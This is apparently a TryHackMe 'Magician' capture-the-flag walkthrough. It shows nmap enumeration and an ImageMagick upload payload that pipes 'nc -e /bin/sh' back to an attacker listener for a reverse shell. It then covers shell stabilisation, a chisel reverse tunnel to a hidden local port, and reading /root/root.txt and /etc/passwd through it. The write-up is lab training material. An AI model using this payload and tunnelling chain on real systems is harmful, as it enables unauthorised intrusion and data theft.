Blue Flower

Magician WriteUp

## <ins> **Magician TryHackMe Walkthrough** </ins>  


<p style='text-align: right;'> ~ l0lt3under </p>  

**<p style='text-align: right;'> 65 min Read** </p>


Welcome to this beginner's adventure! , this was an easy box from TryHackMe, aptly named *"magican"*.

**Let's Begin!!**


1. Victim IP is ****
2. Attacker IP is ****
3. Please make sure to add **"magican"** in your **/etc/hosts** file otherwise it will not work.

let's start by adding an entry to /etc/hosts ,


So , let's not waste any time and fire up our nmap scan as part of our enumeration!
I won't explain nmap here but you can check out an awesome reference [here](

`sudo nmap -sC -sV -A -T4 -oA nmap/initial_scan -vvv `

we get :

#### :

| Port | State | Service | Version |
| 21/tcp | open | *ftp* | vsftpd 2.0.8 or later |
| 8080/tcp | open | *http-proxy* |   |
| 8081/tcp | open | *http* | nginx 1.14.0 |

*Full dump  **[here](***

So , we see two web server *like* ports open let's have a look in the browser.


We can see  that we get a error at port 8080! shoot , well tough luck , let's try another port ie. 8081 at **http://magician:8081**


we see an application load up on this port! Nice!

It says it's a **"PNG to JPG converter"** , now here if you are a beginner motivated to learn , i would give all that opportunity!

#### Links to Learn From!:
- try to understand :
- (Further learning)

I would serously recommend reading up on above links before continuing , it'll really help cement a LOT of concepts we're about to use!

OKAY, so assuming you've been a good and curious student 😉 ,  let's go ahead with our pentest .

google **"PNG to JPG converter exploit "**, to see of some known vulnerabilities known for this *application/software/implementation* , you should see something like this,


wow , that's a lot of weird references to something called **"ImageMagick"**, let's research first what it is!

just google **"ImageMagick"** to learn more about it

##### There is a lot of info about it [here](


So , now that we have some general idea about what exactly this piece of software is , let's start finding issues in it , after a simple google search about **"common php vulnerabilities"** , we notice that we have something called **"insecure file upload"** in *PHP*.

Now, here comes another chance , to learn about aa truy amazing resource on the internet which i will come back to later **[GO HERE](**

now , back on topic let's google , **"ImageMagick exploit"** to find any publicly available exploit code for it that *maybe* we can use.

you will see several references to a popular exploit technique . one such is  [here](

let's inspire and challenge ourselfs and make our **own Exploit Code**

**push graphic-context
viewbox 0 0 640 480
fill 'url("|nc -e /bin/sh "6969)'
pop graphic-context**

write this in any text editor (sublime recommended) and save it as **reverse.png** if you don't understand what is going on , [READ](  .


then we open up a terminal on our **Attacker Machine** (Ubuntu in my case) and type the following :

`rlwrap nc -nlvp 6969`

*note : you can install rlwrap by running : `sudo apt install rlwrap` to learn more go [here](*

This will start a **listener** on our **Attacker Machine** which can receive connection back from a **Victim Machine**  .

then upload our **reverse.png** and look back in our terminal !!!  (type *"id"* in the terminal , if you do not see any output you are on the right path!)

ERROR , something went horribly wrong and we did not get any connection back !! , did our amazing enumeration sills fail us??!

NOPE , as a matter of fact , our enumeration was dead on right and we just aren't using enough firepower here.

So , let's swicth gears , first goto **payload all the things** github repository. (Hint: i have already shared the link above , find it! )

Now try to find an **ImageMagick** related folder or payload ,

after using our carefully honed skills we will land on this specific shellcode to act as our payload :  


Inside this folder , we are going to choose the netcat payload because that is the tool we are using to establish a connection to the victim, :


Make a file called **shell.png** and load our payload in it and open it up in any text editor then change it's LOCAL_IP and LOCAL_PORT to that of the **Attacker Machine** , so that the  **Victim Machine** knows who are the divine masters calling it remotly 🥸.


we can easily see a lot of input confusion and [piping]( is going on here , i will not explain this code , that will be your **homework**.

next we just check if our netcat setup is running and if everything is ready , we start to upload this file on http://magician:8081

immediatly after uploading (assuming inside shell.png you correct tryhackme tun0 IP is mentioned) you'll see a shell pop up on your system!


so here's another piece of advice , the shell you have access to now is not like your typical ssh shell , cause it is extremly unstable and we should run some cmds to make sure it stable enough to use.

run these commands in this exact order in your newly accquired shell session :

`CTRL + Z`
`stty raw -echo; fg`

After doing this you'll  be in your shell again , then run  :

`python -c 'import pty;pty.spawn("/bin/bash")'`
`export TERM=xterm`

After you have ran these cmds in the order shown above , you should have a fairly stable shell to work with.


now goto /home/magician

`cd /home/magician`

`ls -llah`


Finally , we can see a **user.txt** flag on the system!!!

let's read it

`cat user.txt`



BUT wait ! , there is something else , something magical that is going on!! , we can also see a file called **"the_magic_continues"**!

let's try reading it !

`cat the_magic_continues`


hmm, it says there is a port on the system?? a cat software running ?? there are a lot of unanswered questions , it looks like this file won't be of much help , let's try some basic linux information gathering.

`find / -perm 4000 -type f -exec ls -la {} 2>/dev/null \;` run this to find weird files with weird permissions

we see we get no output , NEXT!

`cat /etc/crontab`

we see nothing worth looking into 😫

`crontab -l`

we see that there are no crontabs for our currently compromised user

Now , let's get to my favorite part which is lateral movement and network exploitation .

`netstat -tulpn | grep LISTEN`

this command will show us active tunnels and connections and is seriously something you should note down in your notebook!


all these ports look normal 53 is DNS , we saw 8081 before in our nmap scan and 8080 is running a web service and 21 has the ftp service , so there is only one in this crowrd who is unaccounted for and that is **6666** .

`telnet 6666`


but if we try to access it we are not able to !!!!

Now , again , it is time to learn again !!

Follow the below links and come back when your research is complete:

if you lack networking skills then,

- [Networking](
- [Basic Security Theory](

OKAY, so from now on im going to be assuming that you have general idea about a nifty tool called **chisel** and know about bridgeing and tuneling networks in computers a little.

Again , there is no pressure , learn at your own pace 👍


Okay , you should be done by now , so here is how it's goona go .

we'll create a tunnel between , the  **Victim Machine**'s IP at port 6666 to one of our ports becuase we are on the same extrenal network , as long as  one of the users on the  **Victim Machine**  does this there should be no problem with this kind of attack.

we'll use a industry standard tool for this called **Chisel** .

Download [Chisel]( and compile it by running `go build  ` in its folder/directory.([Setup for GO](

You should now see a compiled binary file for chisel!

Next , we'll setup a simple Python3 http server  and force our victim to download our freshly compiled chisel binary through our shell that we have on the **Victim Machine**.

switch to a directory you have control over  , then
`git clone`

`cd chisel`

`go build`

`sudo python3 -m http.server 5555`

if using python 2 then : `python2 -m SimpleHTTPServer 5555`

Then on the **Victim Machine** on the shell , we do ,



The chisel binary will download on the victim machine.

now run the following cmds to see some magic happen!!

On **Victim Machine** :-

`chmod +x chisel`

On **Attacker Machine** :-

`./chisel server --reverse --port 4343`

On **Victim Machine** :-

`./chisel client R:4433:`

You should see a output on the shell , similar to this


Without touching any of your shells and terminal , open a browser and goto **http://Attacker_IP:4433**

You should see something amazing pop-up!!!



Finally , we saw what was on that port!

Next let's see what this application actually does

type `/etc/passwd`

and hit Submit a few times until you see the following string in the output :

 This is a common cypher known as **Base64**.
 You can decode it in many ways i'll leave that part to you :
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
ftp:x:111:113:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin**

This is the decrypted Output , there is some interesting stuff here , but it is clearly not what we were looking for.

According to the TryHackMe page for this machine , we need to read a file called **root.txt**
which is protected by the root user.

so , let's try `/root/root.txt`

and hit submit a few times to see if we can get a base64 for this file

After hitting Submit a few times we see the following as the output:


Now goto a website called [CyberChef](

and paste the above string in the input

and then click on a magic wand that pops up on the output panel

and we get the FLAG!!!


That's it submit both the flags on TryHackMe and you are done!!!

That's it from me 😎